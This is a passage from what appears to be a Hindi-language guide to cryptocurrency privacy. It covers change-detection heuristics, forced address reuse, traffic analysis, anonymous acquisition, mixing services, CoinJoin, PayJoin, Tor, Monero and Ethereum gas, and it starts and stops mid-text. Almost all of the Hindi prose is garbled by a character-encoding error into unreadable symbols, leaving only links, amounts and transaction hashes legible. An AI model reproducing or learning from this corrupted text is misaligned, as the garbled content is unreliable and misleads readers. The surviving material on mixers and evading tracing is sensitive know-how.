рдХреЗ рдмреАрдЪ рд╕рдВрднрд╛рд╡рд┐рдд рд╕рдВрдмрдВрдзреЛрдВ рдХреЛ рдзрди рдХреЗ рдкреНрд░рд╡рд╛рд╣ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдкреНрд░рдХрдЯ рдХрд░рддрд╛ рд╣реИред - -## **рдЕрдирд╛рд╡рд╢реНрдпрдХ рдЗрдирдкреБрдЯ рд╣реНрдпреВрд░рд┐рд╕реНрдЯрд┐рдХ (рдСрдкреНрдЯрд┐рдорд▓ рдЪреЗрдВрдЬ рд╣реНрдпреВрд░рд┐рд╕реНрдЯрд┐рдХ)** - -рдпрд╣ рд╣реНрдпреВрд░рд┐рд╕реНрдЯрд┐рдХ рдХрдИ рдЗрдирдкреБрдЯ рдФрд░ рдЖрдЙрдЯрдкреБрдЯ рд╡рд╛рд▓реЗ рд▓реЗрдирджреЗрди рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдХреЗ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдиреЗ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ рдХрд┐ рдХреМрди рд╕рд╛ рдЖрдЙрдЯрдкреБрдЯ рднреЗрдЬрдиреЗ рд╡рд╛рд▓реЗ рдХреЛ рд╡рд╛рдкрд╕ рд▓реМрдЯрдиреЗ рд╡рд╛рд▓рд╛ рдкрд░рд┐рд╡рд░реНрддрди рд╣реИред - -### рдЙрджрд╛рд╣рд░рдг -```bash -2 btc --> 4 btc -3 btc 1 btc -``` -рдпрджрд┐ рдЕрдзрд┐рдХ рдЗрдирдкреБрдЯ рдЬреЛрдбрд╝рдиреЗ рд╕реЗ рдЖрдЙрдЯрдкреБрдЯ рдХрд┐рд╕реА рдПрдХрд▓ рдЗрдирдкреБрдЯ рд╕реЗ рдмрдбрд╝рд╛ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рд╣реНрдпреВрд░рд┐рд╕реНрдЯрд┐рдХ рдХреЛ рднреНрд░рдорд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред - -## **рдлреЛрд░реНрд╕реНрдб рдПрдбреНрд░реЗрд╕ рд░реАрдпреВрдЬ** - -рд╣рдорд▓рд╛рд╡рд░ рдкрд╣рд▓реЗ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рдкрддреЗ рдкрд░ рдЫреЛрдЯреЗ-рдЫреЛрдЯреЗ рдЕрдорд╛рдЙрдВрдЯ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ, рдпрд╣ рдЙрдореНрдореАрдж рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛ рднрд╡рд┐рд╖реНрдп рдХреЗ рд▓реЗрдирджреЗрди рдореЗрдВ рдЗрдиреНрд╣реЗрдВ рдЕрдиреНрдп рдЗрдирдкреБрдЯ рдХреЗ рд╕рд╛рде рдорд┐рд▓рд╛рдПрдЧрд╛, рдЬрд┐рд╕рд╕реЗ рдкрддреЗ рдЖрдкрд╕ рдореЗрдВ рдЬреБрдбрд╝реЗ рд░рд╣реЗрдВрдЧреЗред - -### рд╕рд╣реА рд╡реЙрд▓реЗрдЯ рд╡реНрдпрд╡рд╣рд╛рд░ - -рд╡реЙрд▓реЗрдЯ рдХреЛ рдкрд╣рд▓реЗ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП, рдЦрд╛рд▓реА рдкрддреЗ рдкрд░ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдП рдЧрдП рд╕рд┐рдХреНрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ рдмрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рддрд╛рдХрд┐ рдЗрд╕ рдЧреЛрдкрдиреАрдпрддрд╛ рд▓реАрдХ рдХреЛ рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХреЗред - -## **рдЕрдиреНрдп рдмреНрд▓реЙрдХрдЪреЗрди рд╡рд┐рд╢реНрд▓реЗрд╖рдг рддрдХрдиреАрдХреЗрдВ** - -- **рд╕рдЯреАрдХ рднреБрдЧрддрд╛рди рд░рд╛рд╢рд┐:** рдмрд┐рдирд╛ рдкрд░рд┐рд╡рд░реНрддрди рдХреЗ рд▓реЗрдирджреЗрди рд╕рдВрднрд╡рддрдГ рдПрдХ рд╣реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рджреЛ рдкрддреЗ рдХреЗ рдмреАрдЪ рд╣реЛрддреЗ рд╣реИрдВред -- **рдЧреЛрд▓ рдирдВрдмрд░:** рд▓реЗрдирджреЗрди рдореЗрдВ рдЧреЛрд▓ рд╕рдВрдЦреНрдпрд╛ рдпрд╣ рд╕реБрдЭрд╛рд╡ рджреЗрддреА рд╣реИ рдХрд┐ рдпрд╣ рдПрдХ рднреБрдЧрддрд╛рди рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдЧреИрд░-рдЧреЛрд▓ рдЖрдЙрдЯрдкреБрдЯ рд╕рдВрднрд╡рддрдГ рдкрд░рд┐рд╡рд░реНрддрди рд╣реИред -- **рд╡реЙрд▓реЗрдЯ рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯрд┐рдВрдЧ:** рд╡рд┐рднрд┐рдиреНрди рд╡реЙрд▓реЗрдЯ рдХреЗ рдкрд╛рд╕ рд▓реЗрдирджреЗрди рдирд┐рд░реНрдорд╛рдг рдХреЗ рдЕрджреНрд╡рд┐рддреАрдп рдкреИрдЯрд░реНрди рд╣реЛрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдХреЛрдВ рдХреЛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдкрд░рд┐рд╡рд░реНрддрди рдкрддреЗ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред -- **рд░рд╛рд╢рд┐ рдФрд░ рд╕рдордп рд╕рдВрдмрдВрдз:** рд▓реЗрдирджреЗрди рдХреЗ рд╕рдордп рдпрд╛ рд░рд╛рд╢рд┐рдпреЛрдВ рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛ рд▓реЗрдирджреЗрди рдХреЛ рдЯреНрд░реЗрд╕ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИред - -## **рдЯреНрд░реИрдлрд┐рдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг** - -рдиреЗрдЯрд╡рд░реНрдХ рдЯреНрд░реИрдлрд┐рдХ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдХреЗ, рд╣рдорд▓рд╛рд╡рд░ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд▓реЗрдирджреЗрди рдпрд╛ рдмреНрд▓реЙрдХреЛрдВ рдХреЛ рдЖрдИрдкреА рдкрддреЗ рд╕реЗ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдЧреЛрдкрдиреАрдпрддрд╛ рд╕реЗ рд╕рдордЭреМрддрд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╕рдЪ рд╣реИ рдпрджрд┐ рдХреЛрдИ рдЗрдХрд╛рдИ рдХрдИ рдмрд┐рдЯрдХреЙрдЗрди рдиреЛрдбреНрд╕ рд╕рдВрдЪрд╛рд▓рд┐рдд рдХрд░рддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЙрдирдХреЗ рд▓реЗрдирджреЗрди рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдмрдврд╝ рдЬрд╛рддреА рд╣реИред - -## рдЕрдзрд┐рдХ - -рдЧреЛрдкрдиреАрдпрддрд╛ рд╣рдорд▓реЛрдВ рдФрд░ рд░рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡реНрдпрд╛рдкрдХ рд╕реВрдЪреА рдХреЗ рд▓рд┐рдП, [Bitcoin Wiki рдкрд░ Bitcoin Privacy](https://en.bitcoin.it/wiki/Privacy) рдкрд░ рдЬрд╛рдПрдВред - -# рдЧреБрдордирд╛рдо рдмрд┐рдЯрдХреЙрдЗрди рд▓реЗрдирджреЗрди - -## рдЧреБрдордирд╛рдо рд░реВрдк рд╕реЗ рдмрд┐рдЯрдХреЙрдЗрди рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ - -- **рдирдХрдж рд▓реЗрдирджреЗрди**: рдирдХрдж рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрд┐рдЯрдХреЙрдЗрди рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ред -- **рдирдХрдж рд╡рд┐рдХрд▓реНрдк**: рдЙрдкрд╣рд╛рд░ рдХрд╛рд░реНрдб рдЦрд░реАрджрдирд╛ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдСрдирд▓рд╛рдЗрди рдмрд┐рдЯрдХреЙрдЗрди рдХреЗ рд▓рд┐рдП рдмрджрд▓рдирд╛ред -- **рдорд╛рдЗрдирд┐рдВрдЧ**: рдмрд┐рдЯрдХреЙрдЗрди рдХрдорд╛рдиреЗ рдХрд╛ рд╕рдмрд╕реЗ рдирд┐рдЬреА рддрд░реАрдХрд╛ рдорд╛рдЗрдирд┐рдВрдЧ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЬрдм рдЗрд╕реЗ рдЕрдХреЗрд▓реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдорд╛рдЗрдирд┐рдВрдЧ рдкреВрд▓ рдорд╛рдЗрдирд░ рдХреЗ рдЖрдИрдкреА рдкрддреЗ рдХреЛ рдЬрд╛рди рд╕рдХрддреЗ рд╣реИрдВред [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) -- **рдЪреЛрд░реА**: рд╕рд┐рджреНрдзрд╛рдВрдд рд░реВрдк рд╕реЗ, рдмрд┐рдЯрдХреЙрдЗрди рдЪреБрд░рд╛рдирд╛ рдЧреБрдордирд╛рдо рд░реВрдк рд╕реЗ рдЗрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдФрд░ рддрд░реАрдХрд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдпрд╣ рдЕрд╡реИрдз рд╣реИ рдФрд░ рдЕрдиреБрд╢рдВрд╕рд┐рдд рдирд╣реАрдВ рд╣реИред - -## рдорд┐рдХреНрд╕рд┐рдВрдЧ рд╕реЗрд╡рд╛рдПрдБ - -рдорд┐рдХреНрд╕рд┐рдВрдЧ рд╕реЗрд╡рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ **рдмрд┐рдЯрдХреЙрдЗрди рднреЗрдЬ рд╕рдХрддрд╛ рд╣реИ** рдФрд░ **рд╡рд╛рдкрд╕ рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рдмрд┐рдЯрдХреЙрдЗрди рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ**, рдЬрд┐рд╕рд╕реЗ рдореВрд▓ рдорд╛рд▓рд┐рдХ рдХреЛ рдЯреНрд░реЗрд╕ рдХрд░рдирд╛ рдХрдард┐рди рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рдлрд┐рд░ рднреА, рдпрд╣ рд╕реЗрд╡рд╛ рдкрд░ рднрд░реЛрд╕рд╛ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдХрд┐ рдпрд╣ рд▓реЙрдЧ рдирд╣реАрдВ рд░рдЦреЗрдЧреА рдФрд░ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдмрд┐рдЯрдХреЙрдЗрди рд╡рд╛рдкрд╕ рдХрд░реЗрдЧреАред рд╡реИрдХрд▓реНрдкрд┐рдХ рдорд┐рдХреНрд╕рд┐рдВрдЧ рд╡рд┐рдХрд▓реНрдкреЛрдВ рдореЗрдВ рдмрд┐рдЯрдХреЙрдЗрди рдХреИрд╕реАрдиреЛ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред - -## CoinJoin - -**CoinJoin** рд╡рд┐рднрд┐рдиреНрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдХрдИ рд▓реЗрдирджреЗрди рдХреЛ рдПрдХ рдореЗрдВ рдорд┐рд▓рд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдХрд┐рд╕реА рдХреЗ рд▓рд┐рдП рдЗрдирдкреБрдЯ рдХреЛ рдЖрдЙрдЯрдкреБрдЯ рд╕реЗ рдорд┐рд▓рд╛рдирд╛ рдЬрдЯрд┐рд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдкреНрд░рднрд╛рд╡реА рд╣реЛрдиреЗ рдХреЗ рдмрд╛рд╡рдЬреВрдж, рдЕрджреНрд╡рд┐рддреАрдп рдЗрдирдкреБрдЯ рдФрд░ рдЖрдЙрдЯрдкреБрдЯ рдЖрдХрд╛рд░ рд╡рд╛рд▓реЗ рд▓реЗрдирджреЗрди рдХреЛ рдЕрднреА рднреА рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдЯреНрд░реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред - -рдЙрджрд╛рд╣рд░рдг рд▓реЗрдирджреЗрди рдЬреЛ CoinJoin рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЙрдирдореЗрдВ `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` рдФрд░ `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` рд╢рд╛рдорд┐рд▓ рд╣реИрдВред - -рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП, [CoinJoin](https://coinjoin.io/en) рдкрд░ рдЬрд╛рдПрдВред рдПрдереЗрд░рд┐рдпрдо рдкрд░ рд╕рдорд╛рди рд╕реЗрд╡рд╛ рдХреЗ рд▓рд┐рдП, [Tornado Cash](https://tornado.cash) рджреЗрдЦреЗрдВ, рдЬреЛ рдЦрдирд┐рдХреЛрдВ рдХреЗ рдлрдВрдб рд╕реЗ рд▓реЗрдирджреЗрди рдХреЛ рдЧреБрдордирд╛рдо рдмрдирд╛рддрд╛ рд╣реИред - -## PayJoin - -CoinJoin рдХрд╛ рдПрдХ рд░реВрдк, **PayJoin** (рдпрд╛ P2EP), рджреЛ рдкрдХреНрд╖реЛрдВ (рдЬреИрд╕реЗ, рдПрдХ рдЧреНрд░рд╛рд╣рдХ рдФрд░ рдПрдХ рд╡реНрдпрд╛рдкрд╛рд░реА) рдХреЗ рдмреАрдЪ рд▓реЗрдирджреЗрди рдХреЛ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд▓реЗрдирджреЗрди рдХреЗ рд░реВрдк рдореЗрдВ рдЫреБрдкрд╛рддрд╛ рд╣реИ, рдмрд┐рдирд╛ CoinJoin рдХреА рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рдорд╛рди рдЖрдЙрдЯрдкреБрдЯ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗред рдпрд╣ рдЗрд╕реЗ рдкрд╣рдЪрд╛рдирдирд╛ рдЕрддреНрдпрдВрдд рдХрдард┐рди рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ рд▓реЗрдирджреЗрди рдирд┐рдЧрд░рд╛рдиреА рд╕рдВрд╕реНрдерд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рд╕рд╛рдорд╛рдиреНрдп-рдЗрдирдкреБрдЯ-рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рд╣реНрдпреВрд░рд┐рд╕реНрдЯрд┐рдХ рдХреЛ рдЕрдорд╛рдиреНрдп рдХрд░ рд╕рдХрддрд╛ рд╣реИред -```plaintext -2 btc --> 3 btc -5 btc 4 btc -``` -рдЙрдкрд░реЛрдХреНрдд рдЬреИрд╕реА рд▓реЗрдирджреЗрди PayJoin рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рдЧреЛрдкрдиреАрдпрддрд╛ рдХреЛ рдмрдврд╝рд╛рддреЗ рд╣реИрдВ рдЬрдмрдХрд┐ рдорд╛рдирдХ рдмрд┐рдЯрдХреЙрдЗрди рд▓реЗрдирджреЗрди рд╕реЗ рднрд┐рдиреНрди рдирд╣реАрдВ рд╣реЛрддреЗред - -**PayJoin рдХрд╛ рдЙрдкрдпреЛрдЧ рдкрд╛рд░рдВрдкрд░рд┐рдХ рдирд┐рдЧрд░рд╛рдиреА рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд░реВрдк рд╕реЗ рдмрд╛рдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ**, рдЬреЛ рд▓реЗрдирджреЗрди рдХреА рдЧреЛрдкрдиреАрдпрддрд╛ рдХреА рдЦреЛрдЬ рдореЗрдВ рдПрдХ рдЖрд╢рд╛рдЬрдирдХ рд╡рд┐рдХрд╛рд╕ рд╣реИред - -# рдХреНрд░рд┐рдкреНрдЯреЛрдХреНрдпреВрд░реЗрдВрд╕реА рдореЗрдВ рдЧреЛрдкрдиреАрдпрддрд╛ рдХреЗ рд▓рд┐рдП рд╕рд░реНрд╡реЛрддреНрддрдо рдкреНрд░рдерд╛рдПрдБ - -## **рд╡реЙрд▓реЗрдЯ рд╕рдордиреНрд╡рдп рддрдХрдиреАрдХреЗрдВ** - -рдЧреЛрдкрдиреАрдпрддрд╛ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП, рдмреНрд▓реЙрдХрдЪреЗрди рдХреЗ рд╕рд╛рде рд╡реЙрд▓реЗрдЯ рдХрд╛ рд╕рдордиреНрд╡рдп рдХрд░рдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рджреЛ рд╡рд┐рдзрд┐рдпрд╛рдБ рдкреНрд░рдореБрдЦ рд╣реИрдВ: - -- **рдкреВрд░реНрдг рдиреЛрдб**: рдкреВрд░реЗ рдмреНрд▓реЙрдХрдЪреЗрди рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдХреЗ, рдПрдХ рдкреВрд░реНрдг рдиреЛрдб рдЕрдзрд┐рдХрддрдо рдЧреЛрдкрдиреАрдпрддрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИред рд╕рднреА рд▓реЗрдирджреЗрди рдЬреЛ рдХрднреА рдХрд┐рдП рдЧрдП рд╣реИрдВ, рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдкреНрд░рддрд┐рдХреВрд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдпрд╣ рдкрд╣рдЪрд╛рдирдирд╛ рдЕрд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд┐рд╕ рд▓реЗрдирджреЗрди рдпрд╛ рдкрддреЗ рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддрд╛ рд╣реИред -- **рдХреНрд▓рд╛рдЗрдВрдЯ-рд╕рд╛рдЗрдб рдмреНрд▓реЙрдХ рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ**: рдпрд╣ рд╡рд┐рдзрд┐ рдмреНрд▓реЙрдХрдЪреЗрди рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рдмреНрд▓реЙрдХ рдХреЗ рд▓рд┐рдП рдлрд╝рд┐рд▓реНрдЯрд░ рдмрдирд╛рдиреЗ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╡реЙрд▓реЗрдЯреНрд╕ рдХреЛ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░реНрдпрд╡реЗрдХреНрд╖рдХреЛрдВ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢рд┐рд╖реНрдЯ рд░реБрдЪрд┐рдпреЛрдВ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд┐рдП рдмрд┐рдирд╛ рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд▓реЗрдирджреЗрди рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред рд╣рд▓реНрдХреЗ рд╡реЙрд▓реЗрдЯреНрд╕ рдЗрди рдлрд╝рд┐рд▓реНрдЯрд░реЛрдВ рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рддреЗ рд╣реИрдВ, рдХреЗрд╡рд▓ рддрдм рдкреВрд░реНрдг рдмреНрд▓реЙрдХ рд▓рд╛рддреЗ рд╣реИрдВ рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрддреЗ рдХреЗ рд╕рд╛рде рдореЗрд▓ рдорд┐рд▓рддрд╛ рд╣реИред - -## **рдЧреЛрдкрдиреАрдпрддрд╛ рдХреЗ рд▓рд┐рдП рдЯреЛрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛** - -рдЪреВрдВрдХрд┐ рдмрд┐рдЯрдХреЙрдЗрди рдПрдХ рдкреАрдпрд░-рдЯреВ-рдкреАрдпрд░ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдЕрдкрдиреЗ рдЖрдИрдкреА рдкрддреЗ рдХреЛ рдЫрд┐рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЯреЛрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рддреЗ рд╕рдордп рдЧреЛрдкрдиреАрдпрддрд╛ рдмрдврд╝рддреА рд╣реИред - -## **рдкрддреЗ рдХреЗ рдкреБрди: рдЙрдкрдпреЛрдЧ рдХреЛ рд░реЛрдХрдирд╛** - -рдЧреЛрдкрдиреАрдпрддрд╛ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП, рд╣рд░ рд▓реЗрдирджреЗрди рдХреЗ рд▓рд┐рдП рдПрдХ рдирдпрд╛ рдкрддрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рдкрддреЗ рдХрд╛ рдкреБрди: рдЙрдкрдпреЛрдЧ рдЧреЛрдкрдиреАрдпрддрд╛ рдХреЛ рдЦрддрд░реЗ рдореЗрдВ рдбрд╛рд▓ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд▓реЗрдирджреЗрди рдХреЛ рдПрдХ рд╣реА рдЗрдХрд╛рдИ рд╕реЗ рдЬреЛрдбрд╝рддрд╛ рд╣реИред рдЖрдзреБрдирд┐рдХ рд╡реЙрд▓реЗрдЯреНрд╕ рдЕрдкрдиреЗ рдбрд┐рдЬрд╝рд╛рдЗрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрддреЗ рдХреЗ рдкреБрди: рдЙрдкрдпреЛрдЧ рдХреЛ рд╣рддреЛрддреНрд╕рд╛рд╣рд┐рдд рдХрд░рддреЗ рд╣реИрдВред - -## **рд▓реЗрдирджреЗрди рдХреА рдЧреЛрдкрдиреАрдпрддрд╛ рдХреЗ рд▓рд┐рдП рд░рдгрдиреАрддрд┐рдпрд╛рдБ** - -- **рдХрдИ рд▓реЗрдирджреЗрди**: рдПрдХ рднреБрдЧрддрд╛рди рдХреЛ рдХрдИ рд▓реЗрдирджреЗрди рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рдирд╛ рд▓реЗрдирджреЗрди рдХреА рд░рд╛рд╢рд┐ рдХреЛ рдЕрд╕реНрдкрд╖реНрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЧреЛрдкрдиреАрдпрддрд╛ рд╣рдорд▓реЛрдВ рдХреЛ рд╡рд┐рдлрд▓ рдХрд░ рд╕рдХрддрд╛ рд╣реИред -- **рдкрд░рд┐рд╡рд░реНрддрди рд╕реЗ рдмрдЪрдирд╛**: рдРрд╕реЗ рд▓реЗрдирджреЗрди рдХрд╛ рдЪрдпрди рдХрд░рдирд╛ рдЬреЛ рдкрд░рд┐рд╡рд░реНрддрди рдЖрдЙрдЯрдкреБрдЯ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд░рдЦрддреЗ рд╣реИрдВ, рдЧреЛрдкрдиреАрдпрддрд╛ рдХреЛ рдмрдврд╝рд╛рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдкрд░рд┐рд╡рд░реНрддрди рдкрд╣рдЪрд╛рди рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рдмрд╛рдзрд┐рдд рдХрд░рддрд╛ рд╣реИред -- **рдХрдИ рдкрд░рд┐рд╡рд░реНрддрди рдЖрдЙрдЯрдкреБрдЯ**: рдпрджрд┐ рдкрд░рд┐рд╡рд░реНрддрди рд╕реЗ рдмрдЪрдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ, рддреЛ рдХрдИ рдкрд░рд┐рд╡рд░реНрддрди рдЖрдЙрдЯрдкреБрдЯ рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛ рднреА рдЧреЛрдкрдиреАрдпрддрд╛ рдореЗрдВ рд╕реБрдзрд╛рд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИред - -# **рдореЛрдирд░реЛ: рдПрдХ рдЧреЛрдкрдиреАрдпрддрд╛ рдХрд╛ рдкреНрд░рдХрд╛рд╢рд╕реНрддрдВрдн** - -рдореЛрдирд░реЛ рдбрд┐рдЬрд┐рдЯрд▓ рд▓реЗрдирджреЗрди рдореЗрдВ рдкреВрд░реНрдг рдЧреЛрдкрдиреАрдпрддрд╛ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рд╕рдВрдмреЛрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдЧреЛрдкрдиреАрдпрддрд╛ рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдЪреНрдЪ рдорд╛рдирдХ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддрд╛ рд╣реИред - -# **рдПрдереЗрд░рд┐рдпрдо: рдЧреИрд╕ рдФрд░ рд▓реЗрдирджреЗрди** - -## **рдЧреИрд╕ рдХреЛ рд╕рдордЭрдирд╛** - -рдЧреИрд╕ рдПрдереЗрд░рд┐рдпрдо рдкрд░ рд╕рдВрдЪрд╛рд▓рди рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдЧрдгрдирд╛рддреНрдордХ рдкреНрд░рдпрд╛рд╕ рдХреЛ рдорд╛рдкрддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ **рдЧреНрд╡реЗрдИ** рдореЗрдВ рдореВрд▓реНрдпрд╛рдВрдХрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, 2,310,000 рдЧреНрд╡реЗрдИ (рдпрд╛ 0.00231 ETH) рдХреА рд▓рд╛рдЧрдд рд╡рд╛рд▓рд╛ рдПрдХ рд▓реЗрдирджреЗрди рдЧреИрд╕ рд╕реАрдорд╛ рдФрд░ рдПрдХ рдЖрдзрд╛рд░ рд╢реБрд▓реНрдХ 